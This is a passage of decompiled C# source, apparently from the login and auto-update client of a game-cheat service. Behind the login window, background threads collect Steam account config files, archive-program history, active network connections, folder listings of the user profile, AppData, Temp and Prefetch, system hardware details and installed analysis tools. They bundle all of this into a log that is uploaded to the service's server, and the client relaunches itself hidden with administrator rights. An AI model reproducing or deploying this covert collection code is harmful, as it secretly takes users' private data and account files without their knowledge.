						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)8:
						GClass20.smethod_0("Error generating keypair. Make sure that you have all dependencies installed.\n\nhttps://forum.evilcheats.io/topic/39-en-client-guide/", "", "");
						GClass20.smethod_0("Extended Log : " + GClass22.string_8, "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)9:
						GClass20.smethod_0("Unknown error occured - Try again later.", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)10:
						GClass20.smethod_0("No connection to Evilcheats possible.\nIs a VPN enabled?", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)12:
						GClass20.smethod_0("Login took to long - Try again later.", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					case (GClass22.GEnum0)13:
					{
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						this.login_form.Visibility = Visibility.Hidden;
						bool? isChecked = this.check_rememberMe.IsChecked;
						if (isChecked.GetValueOrDefault() & isChecked != null)
						{
							FileIniDataParser fileIniDataParser7 = new FileIniDataParser();
							IniData iniData7 = fileIniDataParser7.ReadFile(Directory.GetCurrentDirectory() + "\\Config.ini");
							iniData7["UserData"]["Name"] = GClass22.string_3;
							iniData7["UserData"]["Pass"] = GClass22.smethod_3(GClass22.string_4);
							fileIniDataParser7.WriteFile(Directory.GetCurrentDirectory() + "\\Config.ini", iniData7, Encoding.Unicode);
						}
						this.update_info.Visibility = Visibility.Visible;
						((Storyboard)base.FindResource("UpdateAnim")).Begin();
						CS$<>8__locals2.newLogin = "";
						if (Process.GetCurrentProcess().ProcessName.Contains("_updated"))
						{
							CS$<>8__locals2.newLogin = Process.GetCurrentProcess().ProcessName.Replace("_updated", "") + ".exe";
						}
						else
						{
							CS$<>8__locals2.newLogin = Process.GetCurrentProcess().ProcessName + "_updated.exe";
						}
						TaskAwaiter<bool> taskAwaiter3 = Task.Run<bool>(delegate()
						{
							GClass22.<>c__DisplayClass41_1.Struct1 @struct;
							@struct.<>c__DisplayClass41_1_0 = CS$<>8__locals2;
							@struct.asyncTaskMethodBuilder_0 = AsyncTaskMethodBuilder<bool>.Create();
							@struct.int_0 = -1;
							AsyncTaskMethodBuilder<bool> asyncTaskMethodBuilder_ = @struct.asyncTaskMethodBuilder_0;
							asyncTaskMethodBuilder_.Start<GClass22.<>c__DisplayClass41_1.Struct1>(ref @struct);
							return @struct.asyncTaskMethodBuilder_0.Task;
						}).GetAwaiter();
						if (!taskAwaiter3.IsCompleted)
						{
							await taskAwaiter3;
							TaskAwaiter<bool> taskAwaiter4;
							taskAwaiter3 = taskAwaiter4;
							taskAwaiter4 = default(TaskAwaiter<bool>);
						}
						taskAwaiter3.GetResult();
						Process.Start(new ProcessStartInfo
						{
							WindowStyle = ProcessWindowStyle.Hidden,
							FileName = "cmd.exe",
							WorkingDirectory = Directory.GetCurrentDirectory(),
							Arguments = string.Concat(new string[]
							{
								"/c \"",
								Directory.GetCurrentDirectory(),
								"\\",
								CS$<>8__locals2.newLogin,
								"\""
							}),
							Verb = "runas"
						});
						Environment.Exit(0);
						goto IL_D3A;
					}
					case (GClass22.GEnum0)14:
						GClass20.smethod_0("Initialization thread took to long (WaitForSingleObject (2)) failed\n", "", "");
						this.spinner.Visibility = Visibility.Hidden;
						((Storyboard)base.FindResource("WaitStoryboard")).Stop();
						goto IL_D3A;
					}
					GClass20.smethod_0("Something went wrong, try again later.", "", "");
					this.spinner.Visibility = Visibility.Hidden;
					((Storyboard)base.FindResource("WaitStoryboard")).Stop();
					IL_D3A:
					CS$<>8__locals2 = null;
					this.bool_0 = false;
				}
				if (object_0 == this.input_username)
				{
					this.input_username.Text = "";
				}
				if (object_0 == this.input_password)
				{
					this.input_password.Password = "";
				}
				if (object_0 == this.txt_minimize)
				{
					base.WindowState = WindowState.Minimized;
				}
				if (object_0 == this.txt_close)
				{
					Environment.Exit(0);
				}
				if (object_0 == this)
				{
					try
					{
						base.DragMove();
					}
					catch
					{
					}
				}
				if (GClass22.<>o__41.<>p__7 == null)
				{
					GClass22.<>o__41.<>p__7 = CallSite<Func<CallSite, object, bool, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.SetMember(CSharpBinderFlags.None, "Handled", typeof(GClass22), new CSharpArgumentInfo[]
					{
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
						CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
					}));
				}
				GClass22.<>o__41.<>p__7.Target(GClass22.<>o__41.<>p__7, e, true);
				IL_E1E:;
			}
			catch
			{
			}
		}

		// Token: 0x06000108 RID: 264 RVA: 0x00016A34 File Offset: 0x00014C34
		public static string smethod_4(string string_10)
		{
			string result;
			using (MD5 md = MD5.Create())
			{
				using (FileStream fileStream = File.OpenRead(string_10))
				{
					result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", string.Empty);
				}
			}
			return result;
		}

		// Token: 0x06000109 RID: 265 RVA: 0x00002C43 File Offset: 0x00000E43
		public static string smethod_5()
		{
			return GClass22.smethod_4(Assembly.GetExecutingAssembly().Location);
		}

		// Token: 0x0600010A RID: 266 RVA: 0x00016AA0 File Offset: 0x00014CA0
		public static async Task<bool> smethod_6(string string_10)
		{
			GClass23.smethod_4((GClass22.GEnum1)9, GClass22.string_3, GClass22.string_4, string.Empty, string.Empty, "Login", string.Empty, string.Empty, string.Empty, "NewLoginTool", Directory.GetCurrentDirectory() + "\\" + string_10, false);
			return true;
		}

		// Token: 0x0600010B RID: 267 RVA: 0x00016AE8 File Offset: 0x00014CE8
		public async Task<GClass22.GEnum0> method_1(string string_10)
		{
			int num = 0;
			while (this.thread_0.IsAlive || this.thread_1.IsAlive || this.thread_2.IsAlive)
			{
				if (num == 10)
				{
					return (GClass22.GEnum0)14;
				}
				num++;
				Thread.Sleep(1000);
			}
			string text = GClass23.smethod_4((GClass22.GEnum1)1, GClass22.string_3, GClass22.string_4, "", "", "", "", "", "", GClass22.string_6, "", false);
			if (text.Contains("Login Failed"))
			{
				if (text == "Login Failed - Banned")
				{
					return (GClass22.GEnum0)2;
				}
				if (text == "Login Failed - HWID")
				{
					return (GClass22.GEnum0)3;
				}
				if (text == "Login Failed - ISP")
				{
					return (GClass22.GEnum0)4;
				}
				if (text == "Login Failed - Overloaded")
				{
					return (GClass22.GEnum0)5;
				}
				if (text == "Login Failed - VPN")
				{
					return (GClass22.GEnum0)6;
				}
				if (text == "Login Failed - NoMember")
				{
					return (GClass22.GEnum0)0;
				}
				return (GClass22.GEnum0)9;
			}
			else
			{
				if (text.Contains("Connection"))
				{
					return (GClass22.GEnum0)10;
				}
				if (text.Contains("Clientside AES Error"))
				{
					GClass22.string_8 = text;
					return (GClass22.GEnum0)8;
				}
				if (text == "New Version")
				{
					return (GClass22.GEnum0)13;
				}
				if (!text.Contains("member_group_id"))
				{
					return (GClass22.GEnum0)0;
				}
				try
				{
					GClass22.gclass18_0 = JsonConvert.DeserializeObject<GClass18>(text);
				}
				catch (Exception)
				{
					return (GClass22.GEnum0)7;
				}
				if (GClass22.gclass18_0.Int32_2 != 0 && GClass22.gclass18_0.GClass6_0.String_0.Length != 0)
				{
					return (GClass22.GEnum0)2;
				}
				return (GClass22.GEnum0)1;
			}
		}

		// Token: 0x0600010C RID: 268 RVA: 0x00016B38 File Offset: 0x00014D38
		private static List<string> smethod_7(DirectoryInfo directoryInfo_0, string string_10, bool bool_2 = false, bool bool_3 = false)
		{
			List<string> list = new List<string>();
			try
			{
				foreach (FileInfo fileInfo in directoryInfo_0.GetFiles(string_10))
				{
					try
					{
						if (!bool_2 || (!fileInfo.ToString().EndsWith(".TMP") && !fileInfo.ToString().StartsWith("cloud_") && !fileInfo.ToString().EndsWith(".tmp.LOG1") && !fileInfo.ToString().EndsWith(".tmp.LOG2") && !fileInfo.ToString().EndsWith(".tmp.LOG") && !fileInfo.ToString().EndsWith(".tmp.node") && !fileInfo.ToString().EndsWith(".tmp")))
						{
							list.Add("\t\t" + fileInfo.ToString());
						}
					}
					catch
					{
					}
				}
			}
			catch
			{
			}
			foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories())
			{
				try
				{
					try
					{
						list.Add("\t" + directoryInfo.ToString());
					}
					catch
					{
					}
					try
					{
						if (bool_3)
						{
							list.AddRange(GClass22.smethod_7(directoryInfo, string_10, bool_2, false));
						}
					}
					catch
					{
					}
				}
				catch
				{
				}
			}
			return list;
		}

		// Token: 0x0600010D RID: 269 RVA: 0x00016CAC File Offset: 0x00014EAC
		public void method_2(string string_10, string string_11)
		{
			try
			{
				GClass23.smethod_4((GClass22.GEnum1)2, GClass22.string_3, GClass22.string_4, string_10, string_11, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, false);
			}
			catch
			{
				Environment.Exit(0);
			}
		}

		// Token: 0x0600010E RID: 270 RVA: 0x00016D08 File Offset: 0x00014F08
		public void method_3(string string_10, string string_11, bool bool_2 = false)
		{
			GClass22.mutex_0.WaitOne();
			if (string_10.Length != 0 && string_11.Length != 0)
			{
				string text = string_11 + "\n" + string_10;
				if (text.Length != 0)
				{
					char[] array = text.ToCharArray();
					for (int i = 0; i < array.Length; i++)
					{
						if (array[i] == '\0')
						{
							array[i] = ' ';
						}
					}
					text = new string(array);
					this.string_9 = this.string_9 + "\n\n" + text;
					text = string.Empty;
				}
			}
			if (bool_2)
			{
				try
				{
					GClass23.smethod_4((GClass22.GEnum1)2, GClass22.string_3, GClass22.string_4, this.string_9, "Userlog", string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, string.Empty, false);
				}
				catch
				{
					Environment.Exit(0);
					return;
				}
			}
			GClass22.mutex_0.ReleaseMutex();
		}

		// Token: 0x0600010F RID: 271 RVA: 0x00016DEC File Offset: 0x00014FEC
		private void method_4()
		{
			foreach (GClass16 gclass in GClass22.gclass18_0.GClass16_0)
			{
				try
				{
					if (File.Exists(gclass.Path))
					{
						try
						{
							FileStream fileStream = new FileStream(gclass.Path, FileMode.Open);
							int num = 0;
							int num2;
							while ((num2 = fileStream.ReadByte()) != -1)
							{
								string.Format("{0:X2}", num2);
								num++;
							}
							fileStream.Close();
						}
						catch
						{
						}
					}
				}
				catch
				{
				}
			}
		}

		// Token: 0x06000110 RID: 272 RVA: 0x00016E88 File Offset: 0x00015088
		private void method_5()
		{
			new Thread(new ThreadStart(this.method_9)).Start();
			new Thread(new ThreadStart(this.method_10)).Start();
			new Thread(new ThreadStart(this.method_11)).Start();
			new Thread(new ThreadStart(this.method_12)).Start();
			new Thread(new ThreadStart(this.method_13)).Start();
			new Thread(new ThreadStart(this.method_14)).Start();
			new Thread(new ThreadStart(this.method_15)).Start();
			new Thread(new ThreadStart(this.method_16)).Start();
			new Thread(new ThreadStart(this.method_17)).Start();
			new Thread(new ThreadStart(this.method_18)).Start();
			new Thread(new ThreadStart(this.method_19)).Start();
			new Thread(new ThreadStart(this.method_20)).Start();
			new Thread(new ThreadStart(this.method_21)).Start();
			new Thread(new ThreadStart(this.method_22)).Start();
			new Thread(new ThreadStart(this.method_23)).Start();
			new Thread(new ThreadStart(this.method_24)).Start();
		}

		// Token: 0x06000111 RID: 273 RVA: 0x00002C54 File Offset: 0x00000E54
		public static void smethod_8(Window window_0)
		{
			if (!GClass22.smethod_10(window_0))
			{
				window_0.SourceInitialized += new EventHandler(GClass22.smethod_9);
			}
		}

		// Token: 0x06000112 RID: 274 RVA: 0x00002C70 File Offset: 0x00000E70
		private static void smethod_9(Window window_0, object object_0)
		{
			Window window = (Window)window_0;
			GClass22.smethod_10(window);
			window.SourceInitialized -= new EventHandler(GClass22.smethod_9);
		}

		// Token: 0x06000113 RID: 275 RVA: 0x00015DE8 File Offset: 0x00013FE8
		private static bool smethod_10(object object_0)
		{
			bool result;
			try
			{
				result = false;
			}
			catch (Exception)
			{
				result = false;
			}
			return result;
		}

		// Token: 0x06000114 RID: 276 RVA: 0x00016FF8 File Offset: 0x000151F8
		private void dispatcherTimer_0_Tick(object sender, EventArgs e)
		{
			if (this.double_1 != 0.0)
			{
				this.method_6();
				this.double_1 -= 1.0;
			}
			foreach (object obj in this.ParticleHost.Children)
			{
				Ellipse ellipse = (Ellipse)obj;
				GClass27 gclass = ellipse.Tag as GClass27;
				TranslateTransform translateTransform = ellipse.RenderTransform as TranslateTransform;
				translateTransform.X += gclass.method_0().X;
				translateTransform.Y -= gclass.method_0().Y;
				if (translateTransform.Y < -this.double_0)
				{
					translateTransform.Y = base.Height + this.double_0;
				}
				if (translateTransform.X < -this.double_0 || translateTransform.X > base.Width + this.double_0)
				{
					translateTransform.X = this.random_0.NextDouble() * base.Width;
					translateTransform.Y = base.Height + this.double_0;
				}
				ellipse.Fill = gclass.method_4();
				ellipse.Effect = gclass.method_2();
			}
		}

		// Token: 0x06000115 RID: 277 RVA: 0x0001715C File Offset: 0x0001535C
		private void method_6()
		{
			SolidColorBrush solidColorBrush = Brushes.White.Clone();
			solidColorBrush.Opacity = 0.2 + this.random_0.NextDouble() * 0.8;
			BlurEffect blurEffect = new BlurEffect();
			blurEffect.RenderingBias = RenderingBias.Performance;
			blurEffect.Radius = 1.0 + this.random_0.NextDouble() * 39.0;
			Ellipse ellipse = new Ellipse();
			ellipse.Width = (ellipse.Height = this.double_0 * 0.15 + this.random_0.NextDouble() * this.double_0 * 0.8);
			ellipse.RenderTransform = new TranslateTransform(this.random_0.NextDouble() * base.Width, this.random_0.NextDouble() * base.Height);
			FrameworkElement frameworkElement = ellipse;
			GClass27 gclass = new GClass27();
			gclass.method_3(blurEffect);
			gclass.method_5(solidColorBrush);
			gclass.method_1(new Point
			{
				X = this.double_3 + this.random_0.NextDouble() * 4.0,
				Y = this.double_2 + this.random_0.NextDouble() * 2.0
			});
			frameworkElement.Tag = gclass;
			this.ParticleHost.Children.Add(ellipse);
		}

		// Token: 0x06000116 RID: 278 RVA: 0x000172C0 File Offset: 0x000154C0
		[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
		[DebuggerNonUserCode]
		public void InitializeComponent()
		{
			if (this.bool_1)
			{
				return;
			}
			this.bool_1 = true;
			Uri resourceLocator = new Uri("/Login;component/loginwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}

		// Token: 0x06000117 RID: 279 RVA: 0x000172F0 File Offset: 0x000154F0
		[EditorBrowsable(EditorBrowsableState.Never)]
		[DebuggerNonUserCode]
		[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
		void IComponentConnector.Connect(int connectionId, object target)
		{
			switch (connectionId)
			{
			case 1:
				this.ParticleHost = (Canvas)target;
				return;
			case 2:
				this.image = (Image)target;
				return;
			case 3:
				this.login_form = (Border)target;
				return;
			case 4:
				this.spinner = (TextBlock)target;
				return;
			case 5:
				this.txt_title = (TextBlock)target;
				return;
			case 6:
				this.btn_login = (Button)target;
				return;
			case 7:
				this.check_rememberMe = (CheckBox)target;
				return;
			case 8:
				this.ico_login = (TextBlock)target;
				return;
			case 9:
				this.ico_password = (TextBlock)target;
				return;
			case 10:
				this.input_username = (TextBox)target;
				return;
			case 11:
				this.input_password = (PasswordBox)target;
				return;
			case 12:
				this.txt_minimize = (TextBlock)target;
				return;
			case 13:
				this.txt_close = (TextBlock)target;
				return;
			case 14:
				this.update_info = (Border)target;
				return;
			case 15:
				this.updateSpinner = (TextBlock)target;
				return;
			case 16:
				this.txt_autoUpdate = (Label)target;
				return;
			case 17:
				this.label = (Label)target;
				return;
			default:
				this.bool_1 = true;
				return;
			}
		}

		// Token: 0x06000118 RID: 280 RVA: 0x00002C90 File Offset: 0x00000E90
		// Note: this type is marked as 'beforefieldinit'.
		static GClass22()
		{
			Class59.smethod_0();
			GClass22.string_5 = "";
			GClass22.gclass23_0 = new GClass23();
			GClass22.mutex_0 = new Mutex();
			GClass22.mutex_1 = new Mutex();
		}

		// Token: 0x06000119 RID: 281 RVA: 0x00002CBF File Offset: 0x00000EBF
		[CompilerGenerated]
		private void method_7()
		{
			this.method_5();
		}

		// Token: 0x0600011A RID: 282 RVA: 0x00002CC7 File Offset: 0x00000EC7
		[CompilerGenerated]
		private void method_8()
		{
			this.method_4();
		}

		// Token: 0x0600011B RID: 283 RVA: 0x00017430 File Offset: 0x00015630
		[CompilerGenerated]
		private void method_9()
		{
			Thread.CurrentThread.IsBackground = true;
			do
			{
				Console.Write("Waiting {0}\n", this.int_0);
				Thread.Sleep(150);
			}
			while (this.int_0 != 15);
			this.method_3(string.Empty, string.Empty, true);
		}

		// Token: 0x0600011C RID: 284 RVA: 0x00017484 File Offset: 0x00015684
		[CompilerGenerated]
		private void method_10()
		{
			Thread.CurrentThread.IsBackground = true;
			string str = "HKEY_CURRENT_USER";
			string str2 = "SOFTWARE\\Valve\\Steam";
			string keyName = str + "\\" + str2;
			try
			{
				string text = (string)Registry.GetValue(keyName, "SteamPath", "Return this default if NoSuchName does not exist.");
				text.Replace("/", "\\");
				GClass22.string_5 = text;
			}
			catch
			{
				try
				{
					GClass22.string_5 = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFilesX86) + "\\Steam";
				}
				catch
				{
					GClass22.mutex_1.WaitOne();
					this.method_3("Steam Path\n METHODE 2 FAILED\n", "SteamPath", false);
					GClass22.mutex_1.ReleaseMutex();
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("Steam Path\n METHODE 1 FAILED\n", "SteamPath", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 1\n");
		}

		// Token: 0x0600011D RID: 285 RVA: 0x00017580 File Offset: 0x00015780
		[CompilerGenerated]
		private void method_11()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				string text = "";
				RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\WinRAR\\ArcHistory", true);
				foreach (string name in registryKey.GetValueNames())
				{
					text = text + registryKey.GetValue(name, "Zero") + "\n";
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("WinRAR History\n" + text, "WinRAR history", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("WinRAR History\nNot found\n", "WinRAR History", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			try
			{
				string str = "";
				byte[] array = (byte[])Registry.CurrentUser.OpenSubKey("Software\\7-Zip\\FM", true).GetValue("FolderHistory");
				if (array != null)
				{
					str = Encoding.Unicode.GetString(array);
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("7zip History\n" + str, "7zip history", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("7zip History\nNot found\n", "7zip History", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 1\n");
		}

		// Token: 0x0600011E RID: 286 RVA: 0x00017700 File Offset: 0x00015900
		[CompilerGenerated]
		private void method_12()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				string text = "";
				foreach (TcpConnectionInformation tcpConnectionInformation in IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections())
				{
					text = text + "LocalStart: " + tcpConnectionInformation.LocalEndPoint.ToString() + " ";
					text = text + "- Remote End: " + tcpConnectionInformation.RemoteEndPoint.ToString();
					text += "\n";
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("Network Log - TCP Active\n" + text, "NetworkConnections", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("NetworkLog failed\n", "NetworkConnections", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 2\n");
		}

		// Token: 0x0600011F RID: 287 RVA: 0x00017800 File Offset: 0x00015A00
		[CompilerGenerated]
		private void method_13()
		{
			Thread.CurrentThread.IsBackground = true;
			string text = "";
			while (GClass22.string_5 == "")
			{
			}
			string text2 = GClass22.string_5;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(text2), "*", false, false);
				text += string.Join("\n", list.ToArray());
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Steam\n Not Found", "SteamFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			try
			{
				string text3 = File.ReadAllText(text2 + "\\config\\config.vdf");
				text = text + "\n" + text3.Substring(text3.LastIndexOf("\"Accounts\""), text3.LastIndexOf("\"CellIDServerOverride\"") - text3.LastIndexOf("\"Accounts\""));
				text = text + "\n" + File.ReadAllText(text2 + "\\config\\loginusers.vdf");
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("SteamConfig\n Not Found", "SteamConfig", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(text2 + "\\config"), "*", false, false);
				text += string.Join("\n", list.ToArray());
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("SteamConfig Folder\n Not Found\n", "SteamConfig Folder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			try
			{
				using (GClass25 gclass = new GClass25())
				{
					text = text + "\n\nCurrent Steam ID: " + gclass.method_6().ToString(CultureInfo.InvariantCulture);
				}
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Current SteamID\nNot Found", "Current SteamID", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			if (text.Length != 0)
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Steam\n" + text, "SteamInfo", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 3\n");
		}

		// Token: 0x06000120 RID: 288 RVA: 0x00017A68 File Offset: 0x00015C68
		[CompilerGenerated]
		private void method_14()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetEnvironmentVariable("WINDIR") + "\\Prefetch"), "*", false, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Prefetch\n" + str, "PrefetchFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Prefetch\nNot Found", "PrefetchFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 4\n");
		}

		// Token: 0x06000121 RID: 289 RVA: 0x00017B44 File Offset: 0x00015D44
		[CompilerGenerated]
		private void method_15()
		{
			Thread.CurrentThread.IsBackground = true;
			string a = string.Empty;
			while (GClass22.string_5 == "")
			{
			}
			try
			{
				a = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\EPM DayZ RCon Tool\\Settings.xml");
			}
			catch
			{
			}
			try
			{
				a = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Documents\\Battleye Control Panel\\servers.xml");
			}
			catch
			{
			}
			if (a != string.Empty)
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("RCon_Detectected\n", "RCon - BE Admin Tool", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			a = "";
			this.int_0++;
			Console.Write("Done 5\n");
		}

		// Token: 0x06000122 RID: 290 RVA: 0x00017C1C File Offset: 0x00015E1C
		[CompilerGenerated]
		private void method_16()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetEnvironmentVariable("TEMP")), "*", true, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Temp\n" + str, "TempFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Temp\n Not Found", "TempFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 6\n");
		}

		// Token: 0x06000123 RID: 291 RVA: 0x00017CEC File Offset: 0x00015EEC
		[CompilerGenerated]
		private void method_17()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)), "*", true, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Appdata\n" + str, "AppdataFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Appdata\n Not Found", "AppdataFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 7\n");
		}

		// Token: 0x06000124 RID: 292 RVA: 0x00017DBC File Offset: 0x00015FBC
		[CompilerGenerated]
		private void method_18()
		{
			Thread.CurrentThread.IsBackground = true;
			string text;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\TS3Client"), "*", false, false);
				text = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("TS3Client\n" + text, "TS3Folder", false);
				GClass22.mutex_1.ReleaseMutex();
				text = "";
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("TS3Client\n Not Found", "TS3Folder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			text = "";
			try
			{
				foreach (string text2 in new string[]
				{
					"Win32_OperatingSystem",
					"Win32_SystemOperatingSystem",
					"Win32_ComputerSystem",
					"Win32_BIOS",
					"Win32_BootConfiguration",
					"Win32_DiskPartition",
					"Win32_DiskDrive"
				})
				{
					ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select * from " + text2);
					text = text + "\n\nKey Start: " + text2 + "[\n";
					foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
					{
						ManagementObject managementObject = (ManagementObject)managementBaseObject;
						try
						{
							foreach (PropertyData propertyData in managementObject.Properties)
							{
								try
								{
									text = string.Concat(new string[]
									{
										text,
										"\nProperty: ",
										propertyData.Name,
										"Value: ",
										propertyData.Value.ToString()
									});
								}
								catch
								{
								}
							}
						}
						catch
						{
						}
					}
					text = text + "\n\nKey End: " + text2 + "]\n\n";
				}
				GClass22.mutex_1.WaitOne();
				this.method_3("SystemInformation\n" + text, "SystemInformation", false);
				GClass22.mutex_1.ReleaseMutex();
				text = "";
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("SystemInformation\n Not Found", "SystemInformation", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			text = "";
			this.int_0++;
			Console.Write("Done 8\n");
		}

		// Token: 0x06000125 RID: 293 RVA: 0x000180C0 File Offset: 0x000162C0
		[CompilerGenerated]
		private void method_19()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Notepad++\\backup"), "*", false, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Notepad++\n" + str, "Notepad++Folder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Notepad++\n Not Found", "Notepad++Folder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 10\n");
		}

		// Token: 0x06000126 RID: 294 RVA: 0x00018198 File Offset: 0x00016398
		[CompilerGenerated]
		private void method_20()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)), "*", true, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("UserProfile\n" + str, "UserprofileFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("UserProfile\n Not Found", "UserprofileFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 12\n");
		}

		// Token: 0x06000127 RID: 295 RVA: 0x00018268 File Offset: 0x00016468
		[CompilerGenerated]
		private void method_21()
		{
			Thread.CurrentThread.IsBackground = true;
			try
			{
				List<string> list = GClass22.smethod_7(new DirectoryInfo(Directory.GetCurrentDirectory()), "*", false, false);
				string str = string.Join("\n", list.ToArray());
				GClass22.mutex_1.WaitOne();
				this.method_3("Invictus Folder\n" + str, "InvictusFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			catch
			{
				GClass22.mutex_1.WaitOne();
				this.method_3("Invictus Folder\n Not Found", "InvictusFolder", false);
				GClass22.mutex_1.ReleaseMutex();
			}
			this.int_0++;
			Console.Write("Done 13\n");
		}

		// Token: 0x06000128 RID: 296 RVA: 0x00018334 File Offset: 0x00016534
		[CompilerGenerated]
		private void method_22()
		{
			Thread.CurrentThread.IsBackground = true;
			string text = "Registry Scan\n";
			string[] array = new string[]
			{
				"Hex-Rays",
				"Skype",
				"ReClass",
				"QtProject",
				"PremiumSoft",
				"Netsparker",
				"Martin Prikryl",
				"Wireshark",
				"VB and VBA Program Settings",
				"Telerik",
				"Sysinternals"
			};
			try
			{
				RegistryKey currentUser = Registry.CurrentUser;
				if (currentUser == null)
				{
					GClass22.mutex_1.WaitOne();
